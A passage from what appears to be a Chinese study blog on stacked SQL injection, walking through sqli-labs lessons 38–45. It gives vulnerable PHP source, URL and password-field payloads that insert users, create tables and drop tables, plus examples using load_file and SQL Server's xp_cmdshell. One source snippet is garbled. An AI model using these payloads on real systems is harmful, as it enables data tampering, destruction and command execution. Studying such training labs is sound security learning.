之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象
Sqli-labs 博客目录
堆叠注入简介
Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stackedinjection。
原理
在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 unionin jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句。
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。
因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。
各个数据库实例介绍
本节我们从常用数据库角度出发, 介绍几个类型的数据库的相关用法。数据库的基本操作, 增删查改。以下列出数据库相关堆叠注入的基本操作。
Mysql 数据库
新建一个表
select * from users where id=1;create table test like users;
show tables;
删除上面新建的 test 表
select * from users where id=1;drop table test;
show tables;
查询数据
select * from users where id=1;select 1,2,3;
加载文件
select * from users where id=1;select load_file(‘c:/tmpupbbn.php’);
修改数
select * from users where id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);
select * from users;
sql server
增加数据表
select * from test;create table sc3(ss CHAR(8));
删除数据表
select * from test;drop table sc3;
查询数据
select 1,2,3;select * from test;
修改数据
select * from test;update test set name=’test’ where id=3;
sqlserver 中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell ‘ipconfig’
Oracle 数据库
上面的介绍中我们已经提及, oracle 不能使用堆叠注入, 可以从图中看到, 当有两条语句在同一行时, 直接报错。无效字符。后面的就不往下继续尝试了。
Postgresql 数据库
新建一个表
select * from user_test;create table user_data(id DATE);
select * from user_data;
删除上面新建的user_data 表
select * from user_test;delete from user_data;
查询数据
select * from user_test;select 1,2,3;
修改数据
select * from user_test;update user_test set name=’modify’ where name=’张三’;
select * from user_data;
源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
测试
?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
+----+----------+------------+
14 rows in set (0.00 sec)
发现已经添加了一个 less38 用户
?id=1’;create table less38 like users;
?id=1’;drop table less38;
源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
测试
?id=1;insert into users(id,username,password) values (‘39’,’less39’,’hello’)–+
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
| 39 | less39 | hello |
+----+----------+------------+
15 rows in set (0.00 sec)
可以看到已经添加了 less39 用户了
?id=1;create table less39 like users;
?id=1;drop table less39;
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
测试
?id=1’); insert into users(id,username,password) values (‘40’,’less40’,’hello’)–+
mysql> select * from users;
+-----+----------+------------+
| id | username | password |
+-----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
| 39 | less39 | hello |
| 109 | hello | hello |
| 40 | less40 | hello |
+-----+----------+------------+
17 rows in set (0.00 sec)
看到添加了 less40 用户
?id=1’);create table less40 like users;
?id=1’);drop table less40;
源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
测试(盲注)
?id=1; insert into users(id,username,password) values (‘110’,’less41’,’hello’)–+
mysql> select * from users;
+-----+----------+------------+
| id | username | password |
+-----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
| 39 | less39 | hello |
| 109 | hello | hello |
| 40 | less40 | hello |
| 110 | less41 | hello |
+-----+----------+------------+
18 rows in set (0.00 sec)
添加了用户 less41
?id=1;create table less41 like users;
?id=1;drop table less41;
源代码(login.php)
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候密码选项我们可以进行 attack。
测试
username 输入 任意
password 输入 c';drop table me# // 删除 me 表
或者
password 输入 c';create table me like users# // 创建一个 me 表
登录之前
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
登录测试
username 输入 admin
password 输入 c';create table less42 like users#
登录之后
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| less42 |
| referers |
| uagents |
| users |
+--------------------+
5 rows in set (0.00 sec)
发现添加了一个 less42 表
登录时构造的 sql 语句为
SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users–+
利用 c’;drop table me#作为登录密码,删除该表。
登录测试
username 输入 admin
password 输入 c’;drop table less42#
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
源代码
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
测试
username 输入 admin
password 输入 c');create table less43 like users#
测试登录之后
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| less43 |
| referers |
| uagents |
| users |
+--------------------+
5 rows in set (0.00 sec)
username 输入 admin
password 输入 c');drop table less43#
测试登录之后
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
源代码
username=mysqlirealescapestring( u s e r n a m e = m y s q l i r e a l e s c a p e s t r i n g ( con1, POST[“loginuser”]); P O S T [ “ l o g i n u s e r ” ] ) ; password = POST[“loginpassword”]; P O S T [ “ l o g i n p a s s w o r d ” ] ; sql = "SELECT * FROM users WHERE username=' username′andpassword=′ u s e r n a m e ′ a n d p a s s w o r d = ′ password’”;
测试(盲注)
username 输入 admin
password 输入 a';insert into users(id,username,password) values ('144','less44','hello')#
测试了登录后
mysql> select * from users;
+-----+----------+------------+
| id | username | password |
+-----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
| 39 | less39 | hello |
| 109 | hello | hello |
| 40 | less40 | hello |
| 110 | less41 | hello |
| 144 | less44 | hello |
+-----+----------+------------+
19 rows in set (0.00 sec)
源代码
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
测试
username 输入 admin
password 输入 c');create table less45 like users#
登录测试之后
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| less45 |
| referers |
| uagents |
| users |
+--------------------+
5 rows in set (0.00 sec)
测试登录
username 输入 admin
password 输入 c');drop table less45#
测试之后
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)